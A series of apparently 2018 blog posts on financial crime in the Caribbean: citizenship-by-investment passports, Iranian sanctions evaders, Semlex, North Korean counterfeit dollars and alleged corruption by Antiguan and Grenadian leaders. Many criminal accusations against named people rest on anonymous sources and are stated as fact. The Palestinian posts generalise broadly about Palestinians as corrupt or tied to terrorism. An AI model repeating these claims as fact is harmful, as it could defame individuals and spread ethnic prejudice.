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THE CARIBBEAN STATE OF DOMINICA, WHERE YOU GET A NEW NATIONALITY & NEW NAME
This is the logo of Capital Immigration, a CBI consultancy, located in Dubai, UAE, that markets directly to Iranian nationals; A portion of their website appears in Persian (Farsi), and their three principals are from Iran.
The website actually explains that CBI clients can take advantage of Dominica's Deed Poll Law, and may legally change their name one year after obtaining their CBI passport. One final note; the website even advises that the client's previous legal name will not appear on their passport.
We know from the records of cases involving CBI-holding sanctions evaders and money launderers, who were subsequently arrested, that these dodgy characters always make sure to list their nationality and citizenship as "Caribbean State of Dominica" wherever they are operating, to avoid the attention that Iranian nationality brings with it in the international, sanction-adverse business world.
What's left ? Changing your date and place of birth ? I wonder if the good folks at Capital would have some constructive suggestions about that as well.
Posted by Kenneth Rijock at Saturday, March 31, 2018 No comments:
PANAMA NAMES 55 PROMINENT VENEZUELANS TO AML/CFT/WMD BLACKLIST
The Anti-Money Laundering Commission of the Republic of Panama has issued a list of 55 Venezuelan nationals considered to be High Risk for money laundering, terrorist financing, and financing weapons of mass destruction, together with a smaller list of corporate entities also blacklisted for that purpose. This is a major blow against the Government of Venezuela, and its senior leadership, many of whom have been accused of those very criminal acts by the United States.
Included on that list are President Nicolas Maduro, Diosdado Cabello, the de facto number two in Venezuela, Tarek Saab, who is its Attorney General, Adan Chavez, the brother of the late Hugo Chavez, and many other senior government officials, as well as Politically Exposed Persons, or PEPs.
Posted by Kenneth Rijock at Friday, March 30, 2018 No comments:
HOW MANY IRANIANS ENGAGED IN SANCTIONS EVASION HOLD DOMINICA DIPLOMATIC PASSPORTS ?
The disclosure that the Iranian CEO of Malta's Pilatus Bank holds a Dominica passport this week, which we learned in the aftermath of the New York arrest of the bank's owner, on Federal sanctions evasion and money laundering charges, begs the question: just how many Iranians engaged in the billion dollar international sanctions evasion scheme have Dominica diplomatic passports ? The bank's owner is himself known to have a St Kitts & Nevis passport; what else is in his pockets ?
The issue first surfaced when Alireza Monfared, a partner of sanctions evasion kingpins Reza Zarrab, was arrested and returned to Iran. Monfared used his Dominica diplomatic passport to evade arest in Malaysia. Zarrab, at the time of his arrest, had obtained valid passports from at least four countries, and is suspected of having applied at various CBI jurisdictions, including Dominica, St Kitts and Malta. Which ones he obtained is not publicly know, but Dominica is at the top of the list.
Babak Zanjani, another sanctions kingpin, who had a death sentence imposed upon him in Iran, is suspected of also having several CBI passports, including in Caribbean jurisdictions. It is the practice of members of his sanctions syndicate to hold several valid passports, to foil criminal investigators seeking to track their activities.
The partners of the Zarrab/Zanjani/Monfared syndicate, who are not in custody, and who reside outside Iran, have reportedly offered to pay the $3bn Zanjani stole from Iran, to erase his death sentence. We must assume that all of them are in possession of a fistful of CBI passports, especially Dominica diplomatic passports.
Therefore, we ask the question again: how many Iranian sanctions evaders, international career criminals all, hold illegal Dominica diplomatic passports ? All of them ? No wonder Dominica's Minister of Foreign Affairs, Francine Baron, refuses to release the list. It would implicate her in Iran's international sanctions evasion scheme, as a co-conspirator, as well as a money laundering conspirator, due to her acceptance of cash from them, to acquire the illicit documents.
NGO REPORT ON RAMPANT PALESTINIAN CORRUPTION A CAUSE FOR CONCERN IN THE CARIBBEAN
The recently released NGO report* on systemic corruption, at all levels, in the Palestinian Territories, should be noted in the context of new invitations extended to wealthy Palestinians, who wish to obtain CBI passports in the five East Caribbean states that offer these programs, as well as any potential future programs elsewhere in the region. The report, which may be accessed here, will shock you, when you see the universal corruption that is denying the Palestinian Territories any viable economy, without massive amounts of foreign aid.
In addition to the Panamanian invitation, CBI real estate developers in the Middle East have solicited affluent Palestinians for a pending Grenada, as well as a potential St Vincent, CBI project. Considering that most of the Palestinian millionaires earned their fortune through corrupt activities, there is a presumption that any Palestinian CBI applicant cannot pass a traditional compliance Source of Funds test, and that those who receive CBI passports used dirty money for the purchase, with the Willful Blindness of the CBI program head that signed off on his application.
Factor in the possibility that the CBI applicant may be a Hamas, or Palestinian Islamic Jihad agent, and you have a perfect storm, withe the East Caribbean state's banks right in the firing line, for terrorist financing facilitation charges, money laundering, and other financial crime in support of terrorism exposure.
The last thing the East Caribbean countries need is to be targeted by US and UK counter-terrorism task forces; any applicant born in the region, or claiming Palestinian nationality, should be subject to strict enhanced due diligence, prior to the acceptance of any CBI funds, except for the application process.
Tenth Annual Report: Integrity and Battling Corruption - Palestine 2017; AMAN
Posted by Kenneth Rijock at Thursday, March 29, 2018 No comments:
LASTEST VERSION OF DPRK $100 SUPERNOTE PRINTED YEARS AGO AND STORED
An authentic Series 2006 note
Readers who were wondering why the most recently spotted version of the North Korean-manufactured USD$100 "Supernote" was a Series 2006, which was produced in the US prior to the implementation of strict anti-counterfeiting safeguards, should be aware that the counterfeits were NOT made in 2017, but several years prior. The note found late last year in a South Korean bank, as well as other exemplars found, have a musty aroma, from obvious storage for years.
Additionally, reliable sources advise of the existence of stored quantities of the Series 2006 version several years in the past, and the previous appearance of a quantity in the Middle East, leading to the presumption that they actually were manufactured at a date close to that which appears on the bills. The 2006 Series was the last version prior to major changes in design, paper, hologram, strip, micro printing, and other protective measures, and the North Koreans, if printing in 2017, would choose a recent version, to facilitate acceptance when their bogus notes were passed or sold off in bulk.
We again caution bankers against accepting any quantities of USD$100 bills bearing the date 2006. Should you already have such items in your possession, running them through a deposit procedure on an automatic teller machine (ATM) should result in their rejection by the program, and therefore confirmation of their counterfeit status. Typically, only a small percentage of any quantity of 100s are 2006; Just as you may now decline pre-1999 Series bills, place the 2006 version on same status with your tellers, and ask them to be attentive to anyone seeking to deposit the same in an account.
CANADA, US & EU MOVE FORWARD WITH ACTION AGAINST CBI PROBLEM
Sources who are in contact with government officials in the United States, Canada, and the EU, engaged in joint preparations to create regulations that will effectively combat the threats posed by criminal elements who have obtained CBI passports from the five East Caribbean countries, advise that the final steps to implement effective measures are underway.
When the programs are active, any and all arrivals from St Kits & Nevis, Antigua & Barbuda, Dominica, St Lucia and Grenada will be subject to scrutiny as high-risk individuals, whether they be citizenship by Investment passport holders, or native-born, as the CBI countries have intentionally engaged in these activities, designed to conceal the actual true identity of their dodgy CBI clients:
(1) Changing the legal name of the client on his CBI passport.
(2) Altering his place of birth, or deleting it altogether, (a ploy that caused serious damage to the legitimacy of the St Kitts program, until it was restored).
(3) Changing the date of birth on the CBI passport. This is a particularly egregious tactic, according to compliance officers who are responsible for excluding criminals and others who pose a danger, and customs and immigration officers charged with excluding clear and present dangers to their nation.
All of the above actions are deliberate efforts to defeat any computer searches seeking to properly identify the CBI passport holder.
We have seen some preliminary actions already; an Attorney General from Trinidad & Tobago detained and interrogated, Caribbean nationals who bags & baggage were extensively searched, and their business interests subject to probing questions. When the average West Indian, arriving in an airport of entry, either in North America or Europe, has to experience high-risk treatment, the blow back to Caribbean politicians will be deafening. Perhaps at that point, the CBI jurisdictions will have to consider a major reform of their programs, especially the due diligence phase of each investigation.
Posted by Kenneth Rijock at Wednesday, March 28, 2018 No comments:
DID SEMLEX PRODUCE THOUSANDS OF DOMINICA PASSPORTS THAT WERE SHIPPED TO MOROCCO ?
With the Syrian-owned Belgian company Semlex much in the news these days, it might be important to inquire into whether the company is the firm that quietly manufactured several thousand Dominica passports, which were reportedly sent to Morocco. This information, which came from reliable sources inside Dominica, was denied by the country's government, which boasted of its high level of passport security in Roseau, but if the passports were made by another supplier, and never made it to Dominica, then their denials are merely a smokescreen to cover the truth. Semlex is the current supplier of voter ID cards to Dominica.
A number of these passports were found in Syria, on ISIS terrorists, though there has been an effort to keep this nasty detail out of the news; the fact that CBI passports, from another country, were also found in ISIS hands, has also escaped major media attention.
Albert Karaziwan
Back to Semlex; there is no additional information regarding the pending Belgian criminal investigation into both the company and its owner/founder Albert Karaziwan, though both company offices, and Karaziwan's home, were raided and searched in January, 2018. More than two decades ago, in the 1990s, Karaziwan was engaged in passport forgery in Europe, preparing documents to order, and charging a minimum of $10,000.* When the Swiss Government closed down his operation, he moved it to Brussels. Karaziwan later was accused of conducting an extensive blackmail operation in the Balkan countries. The proceeds of these crimes were reportedly used to fund his subsequent businesses.
* This information came directly from one of the operators who conducted the covert investigation into his Zurich passport fraud operation, which resulted in the termination of his fraud, and who indicated that he is available to present evidence of Karaziwan's prior criminal conduct.
PANAMA'S NEW AD LIB INITIATIVE IN THE MIDDLE EAST WILL RAISE RISKS
President Varela and King Abdullah
President Juan Carlos Varela, the leader of the Republic of Panama has traveled to the Kingdom of Jordan, met with King Abdullah and senior government officials, and detailed plans to open an embassy in Amman forthwith. While in Jordan, Varela visited a refugee camp, and discussed assisting in what he referred to as Palestinian refugee issues; He was not specific on his plans, but his message inferred that Palestinians would be welcome in Panama.
Some Panama observers have opined that this new Middle East initiative, which appeared to come out of the blue, was Varela's attempt to distract from his current problems at home. Many Panamanians are concerned about their government's new love affair with the Peoples' Republic of China, with which it is engaged in multiple projects, worrying that their national sovereignty is threatened.
Others believe that the recent detention, in the United States, of a prominent Panamanian money launderer, Gabriel Btesh, may result in the disclosure of extremely damaging evidence of corruption, which their president engaged in, while serving as Vice President to Ricardo Martinelli, himself fighting extradition to Panama. Is Varela seeking to promote good works abroad for that reason ?
In his new efforts to engage in the Middle East, Varela may unwittingly allow terrorist operatives, and financiers, entry into the Zone Libre, Panama's huge free trade zone, thinking that he is facilitating Panamanian-Jordanian trade, and assisting in relieving the plight of Palestinian refugees. This could endanger the region, promote money laundering of criminal proceeds, and increase the influence of Hamas, and other groups, in Central America, not to mention raising risk levels in the Panamanian financial system, which affect its transactions with the United States & Canada.
SEVERAL COUNTRIES CANCEL CONTRACTS WITH PASSPORT & ID MANUFACTURING FIRM SEMLEX DUE TO FRAUD AND CORRUPTION
The Government of the Gambia has cancelled the scheduled March 22 signing of a major contract with the Belgian passport manufacturer, the Semlex Group, after multiple allegations of fraud and corruption have surfaced, in Africa and elsewhere. Semlex is the company that contracted with the Commonwealth of Dominica to make its voter identification cards, and that contract has not been cancelled, although most African nations that ordered passports from Semlex have abruptly cancelled their contracts. It is rumored that Semlex obtained its Dominica contract through bribery.
Semlex, whose Brussels office was raided by police earlier this year, was the subject of an article here detailing the illegal issuance of diplomatic passports to dodgy recipients, in the Comoros Islands; those documents were made by Semlex, which is owned by a Syrian national, Albert Karaziwan, who was the subject of a previous passport scandal in Europe, more than a decade ago.
Semlex has allegedly paid bribes and kickbacks, to obtain business, to place in office individuals, who was grant them extremely favorable contracts, and very high prices per passport. One bribe was reportedly $700,000, another $1.5m. Albert Karaziwan is allegedly under criminal investigation for money laundering & corruption, according to media reports.
Posted by Kenneth Rijock at Tuesday, March 27, 2018 No comments:
IRANIAN BANKER IN THE MIDDLE OF $115m SANCTIONS EVASION SCANDAL HAS A DOMINICA PASSPORT
Hamidreza Ghanbari
Hamidreza Ghanbari, the Iranian national who is the CEO of the money laundering, Malta-registered Pilatus Bank PLC, and who has been linked to the $115m Iran sanctions scheme that resulted in the indictment and arrest of Ali Sadr Hashemi Nejad, the bank's chairman, by US authorities, has a Dominica passport. His filing, with the UKs Companies House, attests to that nationality.
Exactly how many other Iranians, evading international and American sanctions, have Dominica passports, obtained through the corrupt government's "don't ask, don't tell" policy of handing out CBI and diplomatic passports to anyone with a pile of US hundred dollar bills, we cannot say, but there may be hundreds. No wonder Dominica is on the radar of so many law enforcement and intelligence agencies. They do not know how many Alireza Monfareds there are working for the Iranian regime, so equipped with. those prized Dominica identity documents.
Perhaps the Ali Sadr case, with the full might of the United States Department of Justice behind it, will break open Dominica's secret list of 500+ illegal diplomatic passport holders, and Chinese intelligence agents, North Koreans, Russian organized crime, pro-Assad Syrians, and dozens of Iranians, will all fall out into the open sunshine.
Posted by Kenneth Rijock at Monday, March 26, 2018 No comments:
BOGUS FINANCIAL INSTRUMENTS POSE A THREAT TO US FINANCIAL STRUCTURE
This is one of a large cache of counterfeit bills, bogus financial instruments, and outright fraudulent scams that are in the control of a Korean organized crime syndicate. The problem is that this organization has contacts with the Government of North Korea, and some of these "impossible" notes, along with the new Series 2006 USD$100 Supernote, might just end up being placed in the global financial structure, to cause a loss of confidence in American currency, not to mention a huge financial hit, on the part of victims.
THE CARIBBEAN'S FLAWED UNDERSTANDING OF DIPLOMATIC PASSPORTS
A well-known Calypso singer was recently given a diplomatic passport in Trinidad & Tobago, purely for matters of personal travel convenience, if you take the government's public announcement literally.
This is a direct quote from the T & T Minister of Culture Gadsby-Dolly:
"It will not only make her travels easier from a practical perspective, it would also mean
fewer visa restrictions, exemption from taxes on income earned in foreign countries and
easier passage through customs and exemption from bag searches."
I understand that Dr. Gadsby-Dolly is a chemist, and not a lawyer, but these are all the reasons criminals and terrorist financiers buy diplomatic passports in the first place, and the countries of the Caribbean are happy to oblige them. Don't give them away like candy, please.
Remember, true diplomats:
(1) Are accredited to a specific country, agency or jurisdiction.
(2) have actual jobs and tasks to perform in that jurisdiction.
(3) present their credentials to the jurisdiction, and are accepted as such by the receiving state.
(4) Have a diplomatic office to work out of, where they perform services for constituents.
(5) Are usually native to the country that is issuing their diplomatic passport.
(6) Are only granted diplomatic immunity in their assigned jurisdiction, and while in transit to and from that country or assignment.
Every time a diplomatic passport is issued that does not satisfy the above United Nations treaty requirements, the possibility of its use for crime should be considered.
WIDESPREAD BRIBERY TAINTS ELECTION RESULTS IN GRENADA
If you were wondering how the incumbent party, Keith Mitchell's NNP, won all fifteen seats in the recent national elections in Grenada, reports from Grenada confirm that there was massive election bribery, both before, and during, the election. Voters were paid, in cash, to vote for the ruling party.
Reliable sources have stated that a large number of Grenadian students, who were outside the country at school, were given free airline tickets to return home to vote. The payment of travel expenses for voters constitutes bribery under United Nations regulations, and is strictly prohibited.
Additionally, unemployed youth were provided with jobs well in advance of the election, to make it appear that they were gainfully employed. In truth and in fact, they were selling their votes, and the jobs were only temporary.
As we continue to explore details of our bribery investigation, using Grenadian sources, we shall update our readers.
Posted by Kenneth Rijock at Sunday, March 25, 2018 No comments:
IRAN UNABLE TO COLLECT $170bn OWED TO IT BY LATIN AMERICA
Agents from the Islamic Republic of Iran have been attempting to collect the estimated $170bn in debt, owed by the governments of several Latin American countries, who covertly purchased Iranian oil, in violation of sweeping international & American sanctions. Apparently the United States has turned a blind eye to Iran's lucrative illicit oil trade with America's Latin American allies, as it did with Asian countries who had oil needs. Why this illicit trade was never publicly exposed is not known.
Iran operates a "tractor factory" in Venezuela, which is a cover for a weapons manufacturing facility, and it is possible that the debt also includes funds owed for arms shipments. Iran sold much of its illicit oil at a discount, and pursuant to generous terms, which would explain the large amount unpaid.
Repayment through delivery of local agricultural and manufactured goods was one of the contemplated methods, due to international sanctions imposed upon Iranian-controlled freighters, Iran could not pick up the goods as scheduled, and the balances increased exponentially.
While Venezuela is at the top of the list of debtors, sources say that Ecuador and Chile are among the countries who owe obscene amounts of money. Given that both of those countries are on the Pacific Ocean, transport routes far away from US shipping lanes, as well as possible US Coast Guard and Navy surveillance, deliveries could have been effectuated, without American knowledge.
IRANIAN USING ST KITTS CBI PASSPORT REMINDS US OF THE DANGERS THEY POSE
The next time some bank compliance officer in New York wonders aloud why the 2014 FinCEN Advisory on the country's CBI passports has not been cancelled, he might want to read the Indictment in United States of America vs. Ali Sadr Hashemi Nejad, 18cr0224 (SDNY). The case, which involves criminals evading sanctions in place against Iran, by moving $115m through a number of international banks, using a massive Venezuelan housing project as a smokescreen, showed how an Iranian money launderer used his St Kitts & Nevis Citizenship by Investment (CBI) passport to open an account in Dubai, claiming Kittitian nationality, to perform his opaque crimes.
So long as St Kitts continues to ignore its obligation to perform Enhanced Due Diligence upon its CBI applicants, and still approves unsuitable, dodgy, criminal individuals, that FinCEN Advisory will remain in full force and effect. Perhaps all the other East Caribbean republics that offer CBI products might want to take notice, and upgrade their sub-standard Due Diligence programs to Enhanced Due Diligence, before they see one of these Advisories filed against their nation.
WILL NORTH KOREA DEPLOY ITS FINANCIAL WEAPONS AGAINST THE US ?
If you were wondering how the latest state-of-the-art North Korean copy of the US one hundred dollar bill found its way into Seoul late last year, it came in via China, which conducts extensive trade with companies in South Korea. The United States Government has not yet seen fit to warn the American financial community about the so-called new and improved Series 2006 "Supernote," but it also represents a clear and present danger to Foreign businessmen who trust in the authenticity of the US currency that they acquire.
The pictures above were taken in one of a number of warehouses, located in the Republic of Korea, where massive numbers of DPRK Supernotes, as well as North Korean-made counterfeit currency of Asian countries, are, under the control of a powerful and ruthless organized crime cartel, with branches in Taiwan, and the Philippines. The cartel, whose roots are in the South Korean intelligence community (KCIA), during the time when the country was under strongman rule, has a transnational reach, and it has left a long trail of bodies in its wake.
The nature of the cartel's relationship with the DPRK, which is unknown, is cause for concern; Are these basically undetectable bills going to flood world currency markets, on the orders of North Korea's leaders ? We cannot say, but someone must be asleep at Treasury, or we would have already seen handouts detailing the flaws present in the extremely well-made Series 2006.
A final note: North Korea has also created totally fantastic financial instruments, of which the example below is but one. Yes, I know you think nobody would accept it at face value, but what if some do ?
ANTIGUA COMPLAINS TO THE IMF ABOUT WHISTLEBLOWERS CRITICAL OF ITS DYSFUNCTIONAL CBI PROGRAM
According to a person who has read it, the Government of Antigua recently sent a letter to the International Monetary Fund, asserting that articles that claim to expose the fatal weaknesses in its CBI program, and other acts of corruption, are harming its economy. The real reason for the complaint is much darker than the professed concern for the economy of Antigua & Barbuda.
Let's analyze the issues:
(1) Whistle blowers are not seeking to tear down the CBI programs, but solely to force the governments of the East Caribbean that offer economic passports to actually conduct Enhanced Due Diligence upon their applicants, and to decline all who are unsuitable. Applicants from high risk countries, such as Iran, Syria, Russia, and the Peoples' Republic of China, all must meet the generally accepted standards the CBI industry professes to follow. Otherwise, you have exploitation of the passports by career criminals, terrorist financiers, sanctions evaders,corrupt Politically Exposed Persons (PEPs), and other unacceptable applicants.
(2) Even with bona fide CBI applicants, no country should be centering its national budget around the possibility that it will attract sufficient individuals willing to spend huge amounts of money for a passport from a low risk, Commonwealth jurisdiction. What if they fail to come ? Government's mission to create jobs, attract non-polluting industry, improve agriculture, and increase public services. Simply relying upon CBI income to pay your employees is not a long-term solution.
(3) the letter to the IMF blames whistle blowers for a decline in foreign investment; while articles critical of rampant corruption definitely scare off foreign investment, the real reason that there is anger at the publication of such information is that it reduces the chances that investors will arrive, and be hit up for bribes and kickbacks, in order to do business in the country. Scathing allegations of systemic bribe solicitations from Antiguan government officials permeate the stories prospective foreign investors tell us.
Antigua, either clean up your CBI program, or dismantle it. Otherwise, you may find that none of your real citizens will escape the consequences, when they seek to travel abroad, and are considered, at customs & immigration desks, CBI criminals who require interrogation, strip searches for cash and financial instruments, and a close inspections of their baggage, including cutting open the seams, to search for smuggled currency and documents.
MASTER PONZI SCHEMER SCOTT ROTHSTEIN FILES PRO SE MEMORANDUM TO ARGUE RULE 35 ISSUE
The attorney, Scott Rothstein, ten years into his fifty-year sentence for running a master Ponzi scheme out of his law firm, has filed his own memorandum of law, in support of his attorney's opposition to the Government's motion to withdraw its pending Rule 35 sentencing reduction motion. The defendant, arguing that the combination of his special in-custody security status, and his attorney's busy schedule, precluded the personal contact needed to further brief the issue, filed his own memo. Rothstein is represented by the prominent criminal defense attorney Marc Nurik, who practices in South Florida and Southern California.
Rothstein's thirteen-page Pro Se memorandum of law, which contains extensive citations to authority, argues that since his plea agreement does not provide for a method to terminate or withdraw it, the Government cannot prevail, as a matter of contract law. While the Government has the sole discretion to decline to request a sentence reduction, it cannot withdraw the motion, according to Rothstein.
The Rule 35 (B), if if survives the Government's withdrawal motion, could at some point in the future, enable the defendant to get a much-desired sentence reduction, perhaps when the current strong public opinion against him subsides, or the next US Attorney appointed has a more favorable attitude towards him. Rothstein did assist in obtaining several additional convictions.
We shall advise when the Court renders its decision on this issue.
PROMINENT FUGITIVE PANAMANIAN MONEY LAUNDERER DETAINED IN MIAMI
Gabriel Btesh, a fugitive from Panamanian justice, accused of money laundering and participation in corrupt activities, was detained upon arrival in Miami. Btesh has been reportedly accused of entering the United States without submitting to the required customs and immigration inspection, though a records review does not show a criminal complaint filed against him.
A former editor of "Panama America" during the corrupt regime of fugitive former Panamanian President Ricardo Martinelli, Btesh lost his US Visa long ago, after he was linked to narcotics trafficking from Colombia, together with his associate, the former Minister of Tourism, Salomon Shamah. Btesh, who is a member of Panama's powerful Syrian organized crime syndicate, was involved in the illegal electronic surveillance of Panamanians that is the subject of the criminal case against Martinelli. Btesh also sold arms and ammunition to the FARC.
He had been evading criminal charges in Panama by living in the Middle East. Why he returned to the United States is a mystery, especially since there are confirmed reports that he was the subject of an INTERPOL Red Notice, which mandates his arrest wherever found.
It is possible that Btesh will be ultimately deported to his native Panama.
DRUG TRAFFICKING ISSUES INCREASE RISK TO GRENADA CBI RECIPIENTS
As we have explained in previous articles, CBI consultancies do not advise their clients that certain jurisdictions can raise the client's individual risk levels. On a personal level, this could mean interrogation by customs officers, when arriving on an international flight, or having your bags & baggage regularly searched, or your passport photocopied by the authorities while you cool your heels in a holding area. None of these matters is pleasant, especially when you have to endure them repeatedly.
Grenada has been placed on high risk status for drug trafficking by US law enforcement and intelligence agencies, and this means anyone with a Grenada passport, however acquired, runs the risk that they may be targeted for investigation. CBI consultancies often gloss over the fact that there are any negative aspects of a specific jurisdiction offering CBI programs, instead stressing the positive points. Clients who are not from the Western Hemisphere often do not know anything about the history of the country where they are acquiring economic citizenship, are are often totally in the dark about the role the East Caribbean region played in the 1980s "Miami Vice" era, of money laundering and narcotics smuggling.
Applicants for Citizenship by Investment programs should be knowledgeable about their adopted country; in the case of Grenada, the increased attention given to it, and its residents, due to pending criminal investigations into drug trafficking activities from the island should cause any CBI applicants to prudently look elsewhere, until Grenada Country Risk levels subside;There are four other adjacent jurisdictions offering comparable economic citizenship products, at lower risk. Applicants are urged to consult a competent attorney to make an educated decision.
WHY EAST CARIBBEAN VOTERS CHOOSE CORRUPTION OVER REFORM
The recent lopsided victory, in Grenada, that returned the incumbent government to office, was just the latest in a string of national elections in the English-speaking countries of the East Caribbean. Voters, when given a choice between reform and progressive candidates, always choose the existing administration, or refrain from voting at all, because they are offered the proceeds of corruption to obey corrupt officials who are in office, doling out cash.
In an election where a leader in the ruling party confided that he was spending money to direct voters' actions at the polls, reformers have no chance, even with members of their own political party. One source asserts that the Opposition has no chance of victory for that reason.
Where does all this cash come from, you ask ? Bribes and kickbacks from real estate developers who want the government's approval to build CBI projects, which are funded by applicants for Citizenship by Investment passports; cash paid for illegal (but still issued) diplomatic passports; kickbacks from favorable contracts granted to businesses that deal with the government; and major funding from CBI consultancies, to facilitate actions in favor of the "donors."
Given that returning corrupt officials to office, whether it occurs in Grenada or elsewhere in the region, perpetuate the cycle of rampant corruption, because they just repeat their vote buying in the next election. An external solution must be imposed, because North America and Europe face imminent threats, due to the acquisition and possession of CBI and diplomatic passports by transnational criminals, terrorist financiers, and corrupt Politically Exposed Persons (PEPs), all of whom have illicit goals that target the developed world.
These steps, some of which are already reportedly being implemented, should protect the West, and its financial institutions, from the threats:
(1) Immigration authorities should be instructed to ban the entry of all CBI passport holders from entry into the countries of Europe and North America, because the abject lack of due diligence performed upon the passport holders renders their true identities suspect at best, and completely anonymous at worst.
(2) If the East Caribbean countries will not then increase their due diligence to "banking best practices" levels, then raise risk levels on ALL passports from the five CBI issuing countries. The lack of access to the US & Canada will insure prompt reform, by public furor against their own governments.
(3) Demand that all bogus diplomatic or official passports, not held by bona fide working diplomats or active-duty senior officials, be cancelled, and the names of holders made public, together with their photographs.
(4) If all of the above are not enacted forthwith, open US FCPA and UK Bribery Act investigations against guilty government officials, and CBI developers, and issue travel warnings to tourists, to discourage them from vacationing in those countries, due to their failure to adhere to the Rule of Law, and the possibility of increased dangers, due to crime.
These measures, some of which may seem extreme, will serve to reform not only the CBI programs, but hopefully bring to office progressive, and honest, leaders, who can eliminate that never-ending cycle of Caribbean CBI corruption.
NO SAFETY INSPECTIONS FOR DOMINICA-FLAGGED COMMERCIAL VESSELS - ONE CAPSIZES WITH FATALITIES
The vessel JBB Rong Chang 8.
Now we know that the Chinese representatives for Dominica's CBI program are also up to; they are registering Chinese commercial vessels in Dominica, knowing very well that the Commonwealth has no officials conducting regular safety inspections upon Dominica-flagged ships. One of these vessels, known as the JBB RONG CHANG 8, overturned in the waters off Malaysia. Safety violations are suspected as the cause of the disaster.
While there is no final tally on injured and dead, preliminary reports state one fatality, with fourteen missing and presumed dead, with three rescued, according to the Malaysian Maritime Enforcement Agency. Search and recovery operations are continuing.
In the interest of total transparency, we would like to see the Ship's Registries, to learn precisely how many Chinese vessels are flying the Dominican flag. We already know of one Chinese tanker caught smuggling oil to sanctioned North Korea; that story previously appeared here.
It might be well to remember that, though Dominican authorities assert that there is only one facility available to register ships under the Dominican flag, a second facility, operated by a Greek national holding one of those illegal diplomatic passports sold for cash to affluent foreign nationals, also is registering vessels in Greece.
EAST CARIBBEAN REPUBLICS MUST ABANDON CORRUPTION OR PAY THE PRICE
The rampant corruption poisoning the East Caribbean republics, including but not limited to million dollar "incentive payments," kickbacks from Middle Eastern-based CBI developers, cash payments for illegal diplomatic passports, and lucrative sweetheart contracts with government, can only come to an end through the power of the vote. Time and time again, corrupt Caribbean leaders buy their way into power, and retain it through the same means. They can only be removed after voters free themselves from their dependence upon the sale of their votes, and voter apathy, and take charge of their future.
A failure to reform across the board will eventually result in the following negative events:
(1) The EU, USA and Canada will blacklist not only the CBI passports, but ALL passports issued by the five East Caribbean jurisdictions operating the flawed CBI programs. That means no US or Canadian visas to visit relatives who live overseas, and no holiday trips.
(2) The few correspondent banking relationships, between East Caribbean banks, and the NewYork banking structure will be terminated, forcing the banks to go to UK or Europe, at high rates, to access the US Dollar system. Imagine how expats sending funds to their elderly relatives at home will feel when the costs are tripled.
(3) Tourist-oriented businesses may be forced to pass along increased operating costs of funds transfers to the clients, raising prices, and causing tourists that rely upon reasonably priced vacation packages to go elsewhere on holiday.
(4) The resulting decline in local economies may bring on an increase in street crime and narcotics use, and thus a decay in the safe environment which attracted your tourists in the first place.
The solution is in the ballot box; when the East Caribbean republics are led by reformers and progressives, and not corrupt leaders, all the above will never occur. It is humbly suggested that it is high time for change.
PRIME MINISTER'S REPLY ABOUT HIS $673,000 CASH PURCHASE IN FLORIDA IS NOT CREDIBLE
Antigua & Barbuda Prime Minister Gaston Browne, in responding to the exposure of a large real estate purchase, for cash, in Florida, strains credibility, and is frankly, an insult to the intelligence of the Antiguans who were told that nonsense on a radio program.
Here is what Browne said, and the truth of the matter:
(1) The PM said the true purchaser was his son, Gaston Browne III, not himself. The truth is that title was taken in the name of "Gaston A Browne," and the son uses Browne III as his name, according to Browne family members. The PM was the real purchaser.
(2) The PM said Browne III "buys and sell real estate," and purchased the Florida property with profits from prior sales. Browne III is an unemployed young college student in New York, with zero assets and no income. He could not possibly have accumulated over $600,000 in a few short years. This is another misrepresentation of material fact.
(3) The PM said it was an ordinary transaction. This is also not true; the mailing address, on the deed itself, is the office of a local real estate broker in Florida, not the street address of the property, which is the information generally listed, so that the annual tax bills go to the residence. One other point; process servers, seeking to locate the PM in the future, in Florida, will not have his address for service of court documents.
(4) The PM listing of himself as a "Single Man," is an intentional effort to disguise the ownership of the property, as well as prevent Stanford International Bank creditors, or the Receiver, from seizing the property, to recover assets for victims of Allen Stanford's massive Ponzi scheme.
We trust that now our readers understand that Browne's radio statement were merely smoke and mirrors, to confuse and mislead the listeners. He is the true owner of that expensive property.
PRIME MINISTER'S MEETING WITH PALESTINIANS RAISES SERIOUS QUESTIONS ABOUT TERRORISTS AS CBI PURCHASERS
PM Browne and the King of Jordan
If you were following last year's travails of the now former Tourism & Investments Minister, Asot Michael, detained upon arrival in the United Kingdom, and interrogated about the suspected payment of a very large bribe paid by a UK national, you may know that he was cashiered by the Antigua Prime Minister Gaston Browne. You may have missed where PM Browne gave the order to sack Michael; it was from the Kingdom of Jordan. Why is this both significant as well as troubling ?
Browne, who had come from a CBI investment conference in Montenegro, was not in Jordan primarily to meet the King, though that was on his offficial itinerary. He was in Jordan to conduct a meeting with a number of affluent Palestinian nationals, to detail Antigua's Citizenship by Investment or CBI, program.
This meeting was neither public, nor listed on his schedule, because if it became public knowledge that Browne was offering CBI visa-free travel privileges to the countries of the European Union, to Arab Palestinians who are members of, and agents for, Hamas and the Palestinian Islamic Jihad (PIJ), globally sanctioned terrorist organizations, Antiguans might think twice about retaining him in office.
Specially designated global terrorist groups are generally the only Palestinians with six figures, in cash, to throw around, and that valuable Antiguan passport would open doors all over not only Europe, but the countries of the Commonwealth of Nations as well. The mere fact that Browne chose to hold covert meetings, in a high-risk part of the world, with even higher risk individuals, speaks volumes about his utter disregard for normal risk management policies and procedures.
Palestinians have begun seeking to acquire CBI passports, from the East Caribbean republics that offer them, and have even sent delegations to other countries in the region. There is no amount of enhanced due diligence that can make up for soliciting known terrorist operators, to obtain a quick dollar, but in the process leaving the Western democracies exposed to penetration by a sworn enemy. Go somewhere else to flog your CBI passports, please, Mr. Browne, lest you give one to someone carrying a dirty bomb into Central London.
HOW DID ANTIGUA'S PRIME MINISTER "EARN" THIRTY MILLION DOLLARS ?
In 2015, the Prime Minister of Antigua and Barbuda, Gaston Browne, brazenly declared, in an open meeting of Parliament, that his net worth was thirty million dollars. After being in office for only one year, his staggering wealth was larger than that of the presidents of most Fortune 500 corporations, and the question many Antiguans have been asking is: what was the Source of Funds ?
When asked about how he became a multi-millionaire, Browne, who had been a lowly clerk at a local bank, declared that it was from "consulting fees." Seasoned Antigua observers believe that it is really composed of:
(1) So called "Incentive fees," which were payments made, by foreign investors interested in constructing major real estate projects in Antigua & Barbuda. According to these sources, these projects were never built.
(2) Payments from convicted Ponzi schemer, R Allen Stanford, consisting of illegal campaign contributions for the 2004 national elections.
(3) Payments from Odebrecht and its subsidiaries.
(4) Payments from other prospective CBI developers, ( e.g. Range Developers, Sweet Homes).
(5) Payments from purchasers of illegal diplomatic passports.
